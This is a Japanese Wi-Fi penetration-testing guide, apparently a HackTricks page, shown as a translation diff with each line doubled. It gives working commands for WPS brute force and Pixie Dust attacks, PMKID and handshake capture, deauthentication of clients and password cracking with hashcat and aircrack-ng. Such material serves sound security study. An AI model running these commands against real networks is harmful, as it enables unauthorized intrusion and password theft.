メッシュネットワークにおけるリンク管理ルーティングに対するさまざまな攻撃。 メッシュネットワークにおけるリンク管理ルーティングに対するさまざまな攻撃。
**ATTACK MODE w: WIDS混乱** **ATTACK MODE w: WIDS 混乱**
クライアントを複数のWDSードや偽のローグAPにクロス接続することで、侵入検知および防止システムを操作し、混乱を引き起こし、潜在的なシステム乱用を引き起こすことができる クライアントを複数の WDS ノードや偽のロゲ AP にクロス接続することで、侵入検知および防止システムを操作し、混乱と潜在的なシステムの悪用を引き起こすことができます
```bash ```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts) # -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z] mkd4 -e <SSID> -c <channel> [-z]
``` ```
**攻撃モード f: パケットファズナー** **ATTACK MODE f: Packet Fuzzer**
パケットファズナーは、さまざまなパケットソースとパケット操作のための包括的な修飾子セットを備えたものです パケット操作のための多様なパケットソースと包括的な修飾子を備えたパケットファズァ
### **Airggedon** ### **Airggedon**
_**Airgeddon**_ は、前のコメントで提案された攻撃のほとんどを提供しています: _**Airgeddon**_ は、前のコメントで提案されたほとんどの攻撃を提供します:
![](<../../.gitbook/assets/image (95).png>) ![](<../../.gitbook/assets/image (95).png>)
## WPS ## WPS
WPSWi-Fi Protected Setupは、**WPA**または**WPA2** Personalで暗号化されたネットワークのセットアップ速度と簡単さを向上させるために、デバイスをルーターに接続するプロセスを簡素化します。WEPセキュリティでは簡単に侵害されるため、効果がありません。WPSは、2つの半分に分かれた8桁のPINを使用し、組み合わせの数が限られているため、総当たり攻撃に対して脆弱です11,000通りの可能性 WPS (Wi-Fi Protected Setup) は、デバイスをルーターに接続するプロセスを簡素化し、**WPA** または **WPA2** Personal で暗号化されたネットワークのセットアップ速度と容易さを向上させます。WEPセキュリティに対しては効果がありません。WPSは8桁のPINを使用し、2つの半分で検証されるため、組み合わせの数が限られている11,000通りため、ブルートフォース攻撃に対して脆弱です
### WPSブルートフォース ### WPS Bruteforce
このアクションを実行するための主なツールは2つあります: ReaverとBully。 このアクションを実行するための主なツールは2つありますReaver と Bully。
* **Reaver** は、WPSに対する堅牢で実用的な攻撃を行うよう設計されており、さまざまなアクセスポイントとWPSの実装に対してテストされています。 * **Reaver** は、WPSに対する堅牢で実用的な攻撃として設計されており、さまざまなアクセスポイントやWPS実装に対してテストされています。
* **Bully** は、Cで書かれたWPSブルートフォース攻撃の**新しい実装**です。オリジナルのreaverコードよりもいくつかの利点があります: 依存関係が少ない、メモリとCPUのパフォーマンスが向上している、エンディアンの正しい処理、より堅牢なオプションセット。 * **Bully** は、Cで書かれたWPSブルートフォース攻撃の**新しい実装**です。元のReaverコードに対していくつかの利点があります依存関係が少ない、メモリとCPUのパフォーマンスが向上、エンディアンの正しい処理、より堅牢なオプションセット。
この攻撃は、特にWPS PINの脆弱性を悪用しており、最初の4桁の露出と最後の桁のチェックサムとしての役割により、総当たり攻撃が容易になっています。ただし、攻撃者のMACアドレスを**ブロック**するなどの総当たり攻撃に対する防御策は、攻撃を継続するために**MACアドレスのローテーション**を要求します。 この攻撃は、**WPS PINの脆弱性**を利用し、特に最初の4桁の露出と最後の桁のチェックサムとしての役割がブルートフォース攻撃を容易にします。しかし、攻撃者の攻撃的なMACアドレスを**ブロックする**などのブルートフォース攻撃に対する防御は、攻撃を続けるために**MACアドレスのローテーション**を要求します。
BullyやReaverなどのツールを使用してWPS PINを取得した後、攻撃者はWPA/WPA2 PSKを推測し、**持続的なネットワークアクセス**を確保できます。 BullyやReaverのようなツールでWPS PINを取得すると、攻撃者はWPA/WPA2 PSKを推測でき、**持続的なネットワークアクセス**を確保します。
```bash ```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3 bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
@ -235,43 +236,43 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
この洗練されたアプローチは、既知の脆弱性を利用してWPS PINをターゲットにします この洗練されたアプローチは、既知の脆弱性を利用してWPS PINをターゲットにします
1. **事前に発見されたPIN**: 特定のメーカーが一貫して使用するWPS PINに関連付けられた既知のPINのデータベースを利用します。このデータベースはMACアドレスの最初の3つのオクテットをこれらのメーカーのための可能性のあるPINと関連付けます。 1. **事前発見されたPIN**: 特定のメーカーに関連する既知のPINのデータベースを利用し、均一なWPS PINを使用することで知られるメーカーにリンクします。このデータベースは、MACアドレスの最初の3オクテットをこれらのメーカーの可能性のあるPINと相関させます。
2. **PIN生成アルゴリズム**: ComputePINやEasyBoxなどのアルゴリズムを活用します。これらはAPのMACアドレスに基づいてWPS PINを計算します。ArcadyanアルゴリズムにはデバイスIDが追加され、PIN生成プロセスにレイヤーが追加されます。 2. **PIN生成アルゴリズム**: APのMACアドレスに基づいてWPS PINを計算するComputePINやEasyBoxのようなアルゴリズムを活用します。Arcadyanアルゴリズムは、デバイスIDも必要とし、PIN生成プロセスに層を追加します。
### WPS Pixie Dust攻撃 ### WPSピクシーダスト攻撃
**Dominique Bongard** は、一部のアクセスポイントAPにおける秘密コードの作成に関する欠陥、**ノンス****E-S1**および**E-S2**を発見しました。これらのンスが特定できれば、APのWPS PINをクラックすることが容易になります。APは、PINを特別なコードハッシュで公開し、それが正規で偽ローグAPでないことを証明します。これらのンスは、実質的にWPS PINを保持する「セーフ」を開くための「鍵」です。詳細は[こちら](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))で確認できます。 **ドミニク・ボンガール**は、秘密コードの作成に関するいくつかのアクセスポイントAPの欠陥を発見しました。これらは**ノンス****E-S1**および**E-S2**として知られています。これらのンスが特定できれば、APのWPS PINを解読するのが容易になります。APは、正当であり偽のロゲAPではないことを証明するために、特別なコードハッシュ内にPINを公開します。これらのンスは、WPS PINを保持する「金庫」を解錠するための「鍵」として本質的に機能します。詳細は[こちら](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))で確認できます。
簡単に言うと、問題は、一部のAPが接続プロセス中にPINを暗号化するために十分にランダムなキーを使用していなかったことです。これにより、PINがネットワーク外から推測されやすくなりました(オフラインブルートフォース攻撃)。 簡単に言えば、問題は、いくつかのAPが接続プロセス中にPINを暗号化するために十分にランダムな鍵を使用しなかったことです。これにより、PINがネットワーク外から推測される脆弱性が生じます(オフラインブルートフォース攻撃)。
```bash ```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3 bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
``` ```
もしデバイスをモニターモードに切り替えたくない場合、または `reaver``bully` に問題がある場合は、[OneShot-C](https://github.com/nikita-yfh/OneShot-C) を試してみてください。このツールは、モニターモードに切り替える必要なく、Pixie Dust攻撃を実行することができます。 デバイスをモニターモードに切り替えたくない場合や、`reaver`や`bully`に問題がある場合は、[OneShot-C](https://github.com/nikita-yfh/OneShot-C)を試すことができます。このツールは、モニターモードに切り替えることなくPixie Dust攻撃を実行できます。
```bash ```bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37 ./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
``` ```
### Null Pin 攻撃 ### Null Pin攻撃
いくつかの設計が甘いシステムでは、**Null PIN**空のPINまたは存在しないPINでもアクセスを許可してしまうことがあり、これはかなり珍しいことです。**Reaver**ツールは、**Bully**とは異なり、この脆弱性をテストすることができます 一部の設計が不十分なシステムでは、**Null PIN**空のまたは存在しないPINがアクセスを許可することさえあります。これは非常に異常です。この脆弱性をテストすることができるツールは**Reaver**であり、**Bully**ではありません
```bash ```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
``` ```
### Airgeddon ### Airgeddon
提案されたすべてのWPS攻撃は、_**airgeddon**_ を使用して簡単に実行できます。 提案されたすべてのWPS攻撃は、_**airgeddon**_を使用して簡単に実行できます。
![](<../../.gitbook/assets/image (219).png>) ![](<../../.gitbook/assets/image (219).png>)
* 5と6は、**カスタムPIN**(あれば)を試すことができます * 5と6は、**あなたのカスタムPIN**を試すことができます(もしあれば)
* 7と8は**Pixie Dust攻撃**を実行します * 7と8は**Pixie Dust攻撃**を実行します
* 13は**NULL PIN**をテストできます * 13は**NULL PIN**をテストすることができます
* 11と12は、選択したAPに関連するPINを利用可能なデータベースから**再収集**し、ComputePIN、EasyBox、およびオプションでArcadyanおすすめ、なぜならを使用して可能な**PIN**を**生成**します * 11と12は、**利用可能なデータベースから選択したAPに関連するPINを再収集し**、**ComputePIN、EasyBox、オプションでArcadyan推奨、なぜならを使用して**可能な**PINを生成**します
* 9と10は**すべての可能なPIN**をテストします * 9と10は**すべての可能なPINをテスト**します
## **WEP** ## **WEP**
日では壊れて使われていません。_**airgeddon**_ には、この種の保護を攻撃するための"All-in-One"というWEPオプションがあります。他のツールも類似のオプションを提供しています。 では壊れていて使用されていません。_**airgeddon**_には、この種の保護を攻撃するための「All-in-One」と呼ばれるWEPオプションがあることを知っておいてください。多くのツールが同様のオプションを提供しています。
![](<../../.gitbook/assets/image (432).png>) ![](<../../.gitbook/assets/image (432).png>)
@ -279,18 +280,18 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう 経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください
**ハッキングの洞察**\ **ハッキングの洞察**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界の速報を追いかけましょう リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界に遅れずについていきましょう
**最新の発表**\ **最新のお知らせ**\
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください
**[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!** **[Discord](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう!**
*** ***
@ -298,17 +299,17 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
### PMKID ### PMKID
2018年、**hashcat** は、**1つのパケット**だけで済み、**ターゲットAPに接続されたクライアントは必要ない**という点でユニークな新しい攻撃方法を[公開](https://hashcat.net/forum/thread-7717.html)しました 2018年、**hashcat**は[新しい攻撃方法](https://hashcat.net/forum/thread-7717.html)を明らかにしました。この方法は、**1つのパケット**だけを必要とし、ターゲットAPに接続されているクライアントを必要としないため、ユニークです—攻撃者とAPの間の相互作用だけが必要です
多くの現代のルーターは、関連付け中に最初のEAPOLフレームに**オプションフィールド**を追加します。これは`Robust Security Network`として知られるもので、`PMKID`を含みます。 多くの現代のルーターは、関連付け中に**最初のEAPOL**フレームに`Robust Security Network`として知られる**オプションフィールド**を追加します。これには`PMKID`が含まれます。
元の投稿によると、**PMKID**は既知のデータを使用して作成されます: 元の投稿が説明しているように、**PMKID**は既知のデータを使用して作成されます:
```bash ```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
``` ```
与えられた「PMK Name」が一定であることから、APとステーションのBSSIDを知っているし、`PMK`が完全な4ウェイハンドシェイクからのものと同一であることがわかっている場合、**hashcat**はこの情報を使用してPSKを解読し、パスフレーズを回復することができます! 与えられた「PMK名」が一定であるため、APとステーションのBSSIDがわかり、`PMK`が完全な4-wayハンドシェイクのものと同一である場合、**hashcat**はこの情報を使用してPSKをクラッキングし、パスフレーズを回復できます!
この情報を**収集**し、ローカルでパスワードを**ブルートフォース**するには、次の操作を行うことができます: この情報を**収集**し、パスワードをローカルで**ブルートフォース**するには、次のようにします:
```bash ```bash
airmon-ng check kill airmon-ng check kill
airmon-ng start wlan0 airmon-ng start wlan0
@ -320,16 +321,16 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer #You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1 ./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
``` ```
**PMKIDs captured** は **コンソール** に表示され、また **/tmp/attack.pcap** に **保存** されます。\ キャプチャされた **PMKIDs****コンソール** に表示され、また **/tmp/attack.pcap** **保存** されます。\
次に、キャプチャを **hashcat/john** フォーマットに変換してクラックします: 次に、キャプチャを **hashcat/john** 形式に変換し、クラックします:
```bash ```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
``` ```
正しいハッシュの形式には**4つの部分**が含まれていることに注意してください。例:`4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` もしあなたのハッシュが**3つの部分**しか含まれていない場合、それは**無効**ですPMKIDキャプチャが有効ではありません)。 正しいハッシュの形式は**4つの部分**を含むことに注意してください。例: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` あなたのものが**3つの部分**しか含まれていない場合、それは**無効**ですPMKIDキャプチャが無効でした)。
`hcxdumptool`は**ハンドシェイクもキャプチャ**します(次のようなものが表示されます:**`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。`cap2hccapx`を使用して**ハンドシェイク**を**hashcat**/**john**形式に**変換**することができます。 `hcxdumptool`は**ハンドシェイクもキャプチャ**します(このようなものが表示されます: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。あなたは`cap2hccapx`を使用して**ハンドシェイク**を**hashcat**/**john**形式に**変換**することができます。
```bash ```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"] cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
@ -337,32 +338,32 @@ hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
``` ```
_このツールでキャプチャされた一部のハンドシェイクは、正しいパスワードを知っていてもクラックできないことに気づきました。可能であれば、伝統的な方法でもハンドシェイクをキャプチャするか、このツールを使用して複数のハンドシェイクをキャプチャすることをお勧めします。_ _I have noticed that some handshakes captured with this tool couldn't be cracked even knowing the correct password. I would recommend to capture handshakes also via traditional way if possible, or capture several of them using this tool._
### ハンドシェイクのキャプチャ ### Handshake capture
**WPA/WPA2**ネットワークへの攻撃は、**ハンドシェイク**をキャプチャしてパスワードを**オフライン**で**クラック**しようとすることで実行できます。このプロセスには、特定のネットワークと**BSSID**、特定の**チャンネル**上の通信を監視することが含まれます。以下は簡略化されたガイドです: **WPA/WPA2**ネットワークに対する攻撃は、**handshake**をキャプチャし、パスワードを**offline**で**crack**しようとすることで実行できます。このプロセスは、特定のネットワークと特定の**channel**上の**BSSID**の通信を監視することを含みます。以下は簡潔なガイドです:
1. ターゲットネットワークの**BSSID**、**チャンネル**、および**接続されているクライアント**を特定します。 1. ターゲットネットワークの**BSSID**、**channel**、および**connected client**を特定します。
2. `airodump-ng`を使用して、指定されたチャンネルとBSSID上のネットワークトラフィックを監視し、ハンドシェイクをキャプチャしようとします。コマンドは次のようになります: 2. 指定されたchannelとBSSIDでネットワークトラフィックを監視するために`airodump-ng`を使用し、handshakeをキャプチャすることを期待します。コマンドは次のようになります:
```bash ```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
``` ```
3. シェイクハンドをキャプチャする可能性を高めるために、一時的にクライアントをネットワークから切断して再認証を強制します。これは、`aireplay-ng`コマンドを使用して行うことができます。このコマンドは、クライアントに切断パケットを送信します: 3. ハンドシェイクをキャプチャする確率を高めるために、クライアントをネットワークから一時的に切断して再認証を強制します。これは、クライアントに対して非認証パケットを送信する `aireplay-ng` コマンドを使用して行うことができます:
```bash ```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
``` ```
_クライアントが認証解除されたため、別のAPに接続しようとする可能性があります。または、他の場合には、異なるネットワークに接続しようとする可能性があります。_ _Note that as the client was deauthenticated it could try to connect to a different AP or, in other cases, to a different network._
`airodump-ng`にハンドシェイク情報が表示されると、ハンドシェイクがキャプチャされたことを意味し、リスニングを停止できます: `airodump-ng`にハンドシェイク情報が表示されると、これはハンドシェイクがキャプチャされたことを意味し、リスニングを停止できます:
![](<../../.gitbook/assets/image (172) (1).png>) ![](<../../.gitbook/assets/image (172) (1).png>)
ハンドシェイクがキャプチャされると、`aircrack-ng`でそれを**クラック**できます: ハンドシェイクがキャプチャされたら、`aircrack-ng`で**クラック**できます:
``` ```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
``` ```
### ファイル内のハンドシェイクをチェックする ### ファイル内のハンドシェイクを確認する
**aircrack** **aircrack**
```bash ```bash
@ -376,68 +377,68 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
``` ```
cowpatty -r psk-01.cap -s "ESSID" -f - cowpatty -r psk-01.cap -s "ESSID" -f -
``` ```
_このツールが完了していないESSIDのハンドシェイクを完了したものよりも先に見つけた場合、有効なものを検出しません。_ _このツールがESSIDの未完了ハンドシェイクを完了したものの前に見つけた場合、有効なものを検出しません。_
**pyrit** **pyrit**
```bash ```bash
apt-get install pyrit #Not working for newer versions of kali apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze pyrit -r psk-01.cap analyze
``` ```
## **WPAエンタープライズMGT** ## **WPA Enterprise (MGT)**
**エンタープライズWiFiセットアップでは、さまざまな認証方法に遭遇します**。それぞれが異なるセキュリティレベルと管理機能を提供します。`airodump-ng`のようなツールを使用してネットワークトラフィックを調査すると、これらの認証タイプの識別子が表示されることがあります。一般的な方法には次のものがあります: **エンタープライズWiFi設定では、さまざまな認証方法に出会います。** 各方法は異なるセキュリティレベルと管理機能を提供します。`airodump-ng`のようなツールを使用してネットワークトラフィックを検査すると、これらの認証タイプの識別子に気付くかもしれません。一般的な方法には次のものが含まれます:
``` ```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi 6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
``` ```
1. **EAP-GTC (Generic Token Card)**: 1. **EAP-GTC (Generic Token Card)**:
* この方法は、EAP-PEAP内でハードウェアトークンとワンタイムパスワードをサポートしています。MSCHAPv2とは異なり、ピアチャレンジを使用せず、パスワードをアクセスポイントに平文で送信するため、ダウングレード攻撃のリスクがあります。 * この方法は、EAP-PEAP内でハードウェアトークンとワンタイムパスワードをサポートします。MSCHAPv2とは異なり、ピアチャレンジを使用せず、パスワードを平文でアクセスポイントに送信するため、ダウングレード攻撃のリスクがあります。
2. **EAP-MD5 (Message Digest 5)**: 2. **EAP-MD5 (Message Digest 5)**:
* クライアントからパスワードのMD5ハッシュを送信することを含みます。辞書攻撃に対する脆弱性、サーバー認証の欠如、およびセッション固有のWEPキーの生成能力の欠如のため、**推奨されていません**。 * クライアントからパスワードのMD5ハッシュを送信することを含みます。辞書攻撃に対する脆弱性、サーバー認証の欠如、セッション固有のWEPキーを生成できないため、**推奨されません**。
3. **EAP-TLS (Transport Layer Security)**: 3. **EAP-TLS (Transport Layer Security)**:
* 認証のためにクライアント側とサーバー側の証明書の両方を利用し、通信を保護するためにユーザーベースおよびセッションベースのWEPキーを動的に生成できます。 * 認証のためにクライアント側とサーバー側の証明書の両方を利用し、通信を保護するためにユーザー基盤およびセッション基盤のWEPキーを動的に生成できます。
4. **EAP-TTLS (Tunneled Transport Layer Security)**: 4. **EAP-TTLS (Tunneled Transport Layer Security)**:
* 暗号化されたトンネルを介して相互認証を提供し、ダイナミックでユーザーごと、セッションごとのWEPキーを導出する方法を提供します。クライアントは資格情報を使用し、サーバー側の証明書のみが必要です。 * 暗号化されたトンネルを通じて相互認証を提供し、動的なユーザーごとのセッションごとのWEPキーを導出する方法を提供します。サーバー側の証明書のみが必要で、クライアントは資格情報を使用します。
5. **PEAP (Protected Extensible Authentication Protocol)**: 5. **PEAP (Protected Extensible Authentication Protocol)**:
* 保護された通信のためにTLSトンネルを作成することで、EAPと同様に機能します。EAPの上に弱い認証プロトコルの使用を許可しますが、トンネルによって提供される保護のために。 * EAPと同様に、保護された通信のためにTLSトンネルを作成します。トンネルによって提供される保護のため、EAPの上弱い認証プロトコルを使用することができます
* **PEAP-MSCHAPv2**: PEAPとも呼ばれ、脆弱なMSCHAPv2のチャレンジ/レスポンスメカニズムを保護するTLSトンネルを組み合わせています。 * **PEAP-MSCHAPv2**: 一般にPEAPと呼ばれ、脆弱なMSCHAPv2チャレンジ/レスポンスメカニズムと保護的なTLSトンネルを組み合わせています。
* **PEAP-EAP-TLS (またはPEAP-TLS)**: EAP-TLSと類似していますが、証明書の交換の前にTLSトンネルを開始し、追加のセキュリティレイヤーを提供します。 * **PEAP-EAP-TLS (またはPEAP-TLS)**: EAP-TLSに似ていますが、証明書を交換する前にTLSトンネルを開始し、追加のセキュリティ層を提供します。
これらの認証方法に関する詳細情報は[こちら](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol)および[こちら](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html)で入手できます。 これらの認証方法についての詳細は[こちら](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol)と[こちら](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html)で確認できます。
### ユーザー名のキャプチャ ### ユーザー名のキャプチャ
[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27)を読むと、**EAP**を使用している場合、**"Identity"** **メッセージ**が**サポート**されている必要があり、**ユーザー名**は**"Response Identity"**メッセージで**クリア**に送信されます。 [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27)を読むと、**EAP**を使用している場合、**「アイデンティティ」** **メッセージ**は**サポートされている**必要があり、**ユーザー名**は**「レスポンスアイデンティティ」**メッセージで**クリア**で送信されることがわかります。
最も安全な認証方法の1つである**PEAP-EAP-TLS**を使用していても、**EAPプロトコルで送信されるユーザー名をキャプチャ**することが可能です。これを行うには、**認証通信をキャプチャ**し(チャンネル内で`airodump-ng`を開始し、同じインターフェースで`wireshark`を開始)、パケットを`eapol`でフィルタリングします。\ 最も安全な認証方法の1つである**PEAP-EAP-TLS**を使用しても、**EAPプロトコルで送信されたユーザー名をキャプチャする**ことが可能です。そのためには、**認証通信をキャプチャ**します(チャンネル内で`airodump-ng`を開始し、同じインターフェースで`wireshark`を使用)し、パケットを`eapol`でフィルタリングします。\
**"Response, Identity"**パケットの中に、クライアントの**ユーザー名**が表示されます。 「**レスポンス、アイデンティティ**」パケット内に、クライアントの**ユーザー名**が表示されます。
![](<../../.gitbook/assets/image (850).png>) ![](<../../.gitbook/assets/image (850).png>)
### 匿名ID ### 匿名アイデンティティ
EAP-PEAPおよびEAP-TTLSの両方で、アイデンティティの非表示がサポートされています。WiFiネットワークのコンテキストでは、EAP-Identityリクエストは通常、アクセスポイントAPによってAPの関連付けプロセス中に開始されます。ユーザーの匿名性を保護するために、ユーザーのデバイス上のEAPクライアントからの応答には、リクエストを処理するために初期RADIUSサーバーに必要な基本情報のみが含まれます。この概念は、次のシナリオを通じて説明されます: アイデンティティの隠蔽は、EAP-PEAPとEAP-TTLSの両方でサポートされています。WiFiネットワークの文脈では、EAP-アイデンティティリクエストは通常、関連プロセス中にアクセスポイントAPによって開始されます。ユーザーの匿名性を保護するために、ユーザーのデバイス上のEAPクライアントからの応答には、初期RADIUSサーバーがリクエストを処理するために必要な基本情報のみが含まれます。この概念は、以下のシナリオを通じて示されています:
* EAP-Identity = anonymous * EAP-アイデンティティ = anonymous
* このシナリオでは、すべてのユーザーがユーザー識別子として擬似的な「anonymous」を使用します。初期のRADIUSサーバーは、EAP-PEAPまたはEAP-TTLSプロトコルのサーバーサイドを管理する責任があります。その後、内部保護された認証メソッドは、ローカルで処理されるか、リモートホームRADIUSサーバーに委任されます。 * このシナリオでは、すべてのユーザーが擬似的な「anonymous」をユーザー識別子として使用します。初期RADIUSサーバーは、PEAPまたはTTLSプロトコルのサーバー側を管理するEAP-PEAPまたはEAP-TTLSサーバーとして機能します。内部保護された認証方法は、ローカルで処理されるか、リモートホームRADIUSサーバーに委任されます。
* EAP-Identity = anonymous@realm\_x * EAP-アイデンティティ = anonymous@realm\_x
* この状況では、異なるレルムのユーザーは、それぞれのレルムを示しながらアイデンティティを隠します。これにより、初期RADIUSサーバーは、彼らのホームレルムのRADIUSサーバーにEAP-PEAPまたはEAP-TTLSリクエストをプロキシし、PEAPまたはTTLSサーバーとして機能します。初期のRADIUSサーバーは、単にRADIUSリレーードとして動作します。 * この状況では、異なるレルムのユーザーそれぞれのレルムを示しながらアイデンティティを隠します。これにより、初期RADIUSサーバーはEAP-PEAPまたはEAP-TTLSリクエストをそれぞれのホームレルムのRADIUSサーバーにプロキシし、PEAPまたはTTLSサーバーとして機能します。初期RADIUSサーバーは、RADIUSリレーードとしてのみ機能します。
* また、初期のRADIUSサーバーはEAP-PEAPまたはEAP-TTLSサーバーとして機能し、保護された認証メソッドを処理するか、別のサーバーに転送することができます。このオプションは、さまざまなレルムに対して異なるポリシーを構成することを容易にします。 * あるいは、初期RADIUSサーバーがEAP-PEAPまたはEAP-TTLSサーバーとして機能し、保護された認証方法を処理するか、別のサーバーに転送することもできます。このオプションは、さまざまなレルムに対して異なるポリシーを構成するのに役立ちます。
EAP-PEAPでは、PEAPサーバーとPEAPクライアント間にTLSトンネルが確立されると、PEAPサーバーはEAP-Identityリクエストを開始し、TLSトンネルを介して送信します。クライアントは、この2番目のEAP-Identityリクエストに応答して、暗号化されたトンネルを介してユーザーの実際のアイデンティティを含むEAP-Identity応答を送信します。このアプローチにより、802.11トラフィックを盗聴している人にユーザーの実際のアイデンティティが明らかにされるのを効果的に防ぎます。 EAP-PEAPでは、PEAPサーバーとPEAPクライアント間にTLSトンネルが確立されると、PEAPサーバーはEAP-アイデンティティリクエストを開始し、それをTLSトンネルを通じて送信します。クライアントは、この2回目のEAP-アイデンティティリクエストに対して、暗号化されたトンネルを通じてユーザーの真のアイデンティティを含むEAP-アイデンティティレスポンスを送信します。このアプローチは、802.11トラフィックを傍受している誰にもユーザーの実際のアイデンティティが明らかになるのを効果的に防ぎます。
EAP-TTLSはやや異なる手順に従います。EAP-TTLSでは、クライアントは通常、TLSトンネルによって保護されたPAPまたはCHAPを使用して認証します。この場合、クライアントはトンネル確立後に送信される最初のTLSメッセージにUser-Name属性とPasswordまたはCHAP-Password属性を含めます。 EAP-TTLSはやや異なる手順に従います。EAP-TTLSでは、クライアントは通常、TLSトンネルによって保護されたPAPまたはCHAPを使用して認証します。この場合、クライアントはトンネル確立後に送信される最初のTLSメッセージにUser-Name属性とPasswordまたはCHAP-Password属性を含めます。
